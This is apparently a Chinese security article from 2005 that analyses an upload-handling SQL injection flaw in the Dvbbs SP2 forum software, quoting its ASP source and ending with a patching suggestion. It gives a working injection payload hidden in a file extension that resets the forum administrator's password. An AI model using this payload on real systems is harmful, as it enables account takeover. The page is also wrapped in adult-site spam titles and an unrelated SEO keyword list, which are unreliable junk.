成人在线你懂的-成人在线免费小视频-成人在线免费网站-成人在线免费视频观看-日韩精品国产一区二区-日韩精品国产一区

掃一掃
關(guān)注微信公眾號(hào)

dvsp2上傳漏洞再現(xiàn)----擊潰動(dòng)網(wǎng)sp2的神話
2005-12-17   

前段時(shí)間聽(tīng)說(shuō)動(dòng)網(wǎng)的上傳再次出現(xiàn)了不可修復(fù)的錯(cuò)誤,有人居然說(shuō)是upload.inc有錯(cuò),我仔細(xì)的讀了N遍代碼,可以肯定的說(shuō),upload.inc應(yīng)該沒(méi)有辦法利用,今天無(wú)意中跑到動(dòng)網(wǎng)的官方網(wǎng)站上去仔細(xì)的看了一下,個(gè)人資料修改里有上傳,但是發(fā)帖里卻沒(méi)有上傳,upload.asp和post_upload.asp同樣用到了upload.inc,證明這個(gè)文件絕對(duì)沒(méi)有問(wèn)題,那問(wèn)題一定出在post_upfile.asp上了,打開(kāi)這個(gè)文件再次通讀一遍!
一看
If upload_ViewType<>999 and F_Type=1 then
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")
Else
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")
有sql語(yǔ)句,難道傳說(shuō)中的上傳再次利用是注入而不是上傳,那我們就把他提交的變量每一個(gè)來(lái)通讀一下
Dvbbs.BoardID,Dvbbs.UserID,Dvbbs.membername,F(xiàn)_Viewname,F(xiàn)_Type,F(xiàn)ilesize這幾個(gè)是肯定沒(méi)有問(wèn)題的,其它的幾個(gè)我們就來(lái)看一下,這幾個(gè)變量從哪來(lái)的,怎么得到的!
先說(shuō)第一個(gè)replace(rename,"|","")把rename里的"|"這個(gè)符號(hào)去掉,我們看看rename的變量怎么來(lái)的,rename=createPath&Filename&"|"
是用createpath和filename連接起來(lái)再加上"|"生成的,"|"符號(hào)在后面被過(guò)濾了,可以不用考濾,再分別看看creatpath和filename
File_name = createName()
Filename = File_name&"."&FileExt(由file_name和fileExt聯(lián)合起來(lái)的)
Private Function createName()
Dim ranNum
Randomize
ranNum=int(999*rnd)
createName=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum
End Function
很明顯,file_name是按年月日加隨機(jī)數(shù)生成的,沒(méi)有辦法利用,疑點(diǎn)就在fileExt了。。。。。
難道,傳說(shuō)中的就要出現(xiàn)了,先不慌,我們先看看其它的地方
而creatpath又是這樣來(lái)的
Private Function createPath()
Dim objFSO,Fsofolder,uploadpath
uploadpath=year(now)&"-"&month(now) '以年月創(chuàng)建上傳文件夾,格式:2003-8
On Error Resume Next
Set objFSO = Server.createObject("Scripting.FileSystemObject")
If objFSO.FolderExists(Server.MapPath(CheckFolder&uploadpath))=False Then
objFSO.createFolder Server.MapPath(CheckFolder&uploadpath)
End If
If Err.Number = 0 Then
createPath=uploadpath&"/"
Else
createPath=""
End If
Set objFSO = Nothing
End Function
creatpath又是用uploadpath加上fso按年月生成的,例如uploadfile/2004-11之類的,這樣,又不能利用
好,這里發(fā)現(xiàn)一個(gè)疑點(diǎn)了
我們?cè)倏戳硪粋€(gè)變量replace(FileExt,".",""),直接就是前面提到的有疑點(diǎn)的那個(gè)fileExt了,呵呵,看準(zhǔn)了,就是他了。我們把他的來(lái)龍去脈全找出來(lái),看看能不能利用
Set File=upload.File(FormName) ''生成一個(gè)文件對(duì)象
FileExt=FixName(File.FileExt)
在這里,他開(kāi)始出現(xiàn)了
file.fileExt這個(gè)不是我們提交的擴(kuò)展名嗎,玩過(guò)動(dòng)網(wǎng)上傳的都知道,抓個(gè)包,改個(gè)擴(kuò)展名這是蠻正常的事,看來(lái)有門(mén)了,至少我們這個(gè)地方可以利用,====,F(xiàn)ileExt=FixName(File.FileExt)他還用fixname來(lái)過(guò)濾了的,我們看看這個(gè)函數(shù)有什么用
Function FixName(UpFileExt)
If IsEmpty(UpFileExt) Then Exit Function
FixName = Lcase(UpFileExt)
FixName = Replace(FixName,Chr(0),"")
FixName = Replace(FixName,".","") 哈哈,把.替換成空了,為什么動(dòng)網(wǎng)sp2的上傳利用不了,就在這里的原因
FixName = Replace(FixName,"asp","")把a(bǔ)sp替換成空
FixName = Replace(FixName,"asa","") asa過(guò)濾
FixName = Replace(FixName,"aspx","") aspx過(guò)濾
FixName = Replace(FixName,"cer","") cer過(guò)濾
FixName = Replace(FixName,"cdx","") cdx過(guò)濾
FixName = Replace(FixName,"htr","") htr過(guò)濾
End Function
哈哈,全部只是過(guò)濾了一些特殊的地方,但是我們?nèi)绻脕?lái)注入用到的引號(hào),分號(hào),逗號(hào),--,一個(gè)都沒(méi)有過(guò)濾,也就是說(shuō)是通行無(wú)阻了,嘎嘎,接下來(lái)就是用到構(gòu)造語(yǔ)句了,我們?cè)賮?lái)看他的sql語(yǔ)句
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)
在values后面
"&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"
這些全部是正常的,我們改了fleExt后,rename也跟著變化了,所以實(shí)際上后面的&replace(FileExt,".","")&這里我們就可以不管了,只要構(gòu)造前面的rename,再看看reanme是如何來(lái)的
rename=createPath&Filename&"|"
File_name = createName()
Filename = File_name&"."&FileExt
createpath是正常的一串值,可以不計(jì),file_name也是正常的值可以不計(jì),中間有一個(gè).可以不計(jì),后面的"|"他幫我們自己過(guò)濾了,可以不計(jì).我們假設(shè)他的語(yǔ)句為
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("1","1",'"user"','uploadfile/2004-11/2324128374912.jpg','user','jpg',"1","1000",4)
這是一條正常的語(yǔ)句,我們能利用的地方就是jpg,這個(gè)地方是我們包里可以傳送過(guò)去的,是本地的文件擴(kuò)展名,那我們就把jpg構(gòu)造成具體的完整的sql語(yǔ)句。
比如jpg替換成
jpg','user','jpg',"1","1000",4);update dv_admin set userpasswrod='123' where username='admin'--jpg
(說(shuō)一句,他的f_type是用來(lái)檢測(cè)文件類型的,如果是1,也就是圖片就執(zhí)行的前一條sql語(yǔ)句,如果是其它就執(zhí)行的后一條語(yǔ)句,具體的代碼在這里
F_Type = CheckFiletype(FileExt)
checkfiletype函數(shù)的代碼又是這樣的
Private Function CheckFiletype(FileExt)
Dim upFiletype
Dim FilePic,FileVedio,FileSoft,FileFlash,FileMusic
FileExt=Lcase(Replace(FileExt,".",""))
select Case Lcase(FileExt)
Case "gif", "jpg", "jpeg","png","bmp","tif","iff"
CheckFiletype=1
Case "swf", "swi"
CheckFiletype=2
Case "mid", "wav", "mp3","rmi","cda"
CheckFiletype=3
Case "avi", "mpg", "mpeg","ra","ram","wov","asf"
CheckFiletype=4
Case Else
CheckFiletype=0
End select
End Function
這里也用到了fileExt這個(gè)變量,也就是我們的擴(kuò)展名
去掉所有的".",然后再去取后的擴(kuò)展名,所以我們的語(yǔ)句最后結(jié)束時(shí)要用考濾到這個(gè),因?yàn)榈谝徽Z(yǔ)句和第二語(yǔ)句構(gòu)造方法不一樣的!)
嘎嘎,dv_admin里的admin的userpassword就被改為123了.
如果是access版的好像有點(diǎn)難度,分號(hào)是不能多語(yǔ)執(zhí)行的,又不是where條件,不能拿來(lái)猜測(cè),而且values的值好像不能用select 來(lái)把其它的值填入,只有把整個(gè)select 的值拿來(lái)返回做為記錄加入,沒(méi)辦法在values里單獨(dú)取值,有沒(méi)有人能有辦法構(gòu)造出這個(gè)完美的語(yǔ)法來(lái),教教偶,偶sql水平不是蠻高,access版的暫時(shí)還沒(méi)有想到完整的辦法。
文章至些結(jié)束了,最重要的要說(shuō)的就是所有的放入到sql語(yǔ)句里的參數(shù)都要嚴(yán)格檢測(cè),這個(gè)地方的補(bǔ)丁一個(gè)是在fixname()函數(shù)里過(guò)濾,如果不會(huì)的暫時(shí)就先關(guān)掉發(fā)帖上傳的功能吧,等補(bǔ)丁!:)

熱詞搜索:

上一篇:SQL注入得到WEBSHELL
下一篇:腳本攻擊防范策略完全篇

分享到: 收藏
主站蜘蛛池模板: 张国新| 综评典型事例填写范例| 天国恩仇完整版电影| 草神纳西妲图片| 成年影片| 生活频道| 大奉打更人电视剧在线| 沟通能力自我评价| 裸体广场舞| 免税车中企诚谊| 康熙王朝是哪一年拍的| 雪中悍刀行第一季演员表| 五年级简易方程思维导图| 叶凯薇的视频| 康熙微服记四部免费观看在线| 大追捕在线完整免费观看| 日本电视剧《阿信》| 爱情最美丽 电视剧| 蛇花| 五年级歇后语大全| 男男性猛交xxxx免费看| 接吻教学视频| 蹲踞式跳远教案| 神宫寺勇太| 披萨女孩| 悦时光电影完整版免费观看| 蛮荒的童话 电影| 老虎斑鱼图片| 文琪演过的电视剧有哪些| 金珠玛米赞二胡曲简谱| 恋人电影| 女同版痴汉电车| 数字记忆法编码100| 王若涵| 小丑与小丑女| 白宝山电视剧26集免费观看| 快播王欣| 女人香韩国电影| 大奉打更人电视剧在线| 李彦萱| 山东教育电视台直播|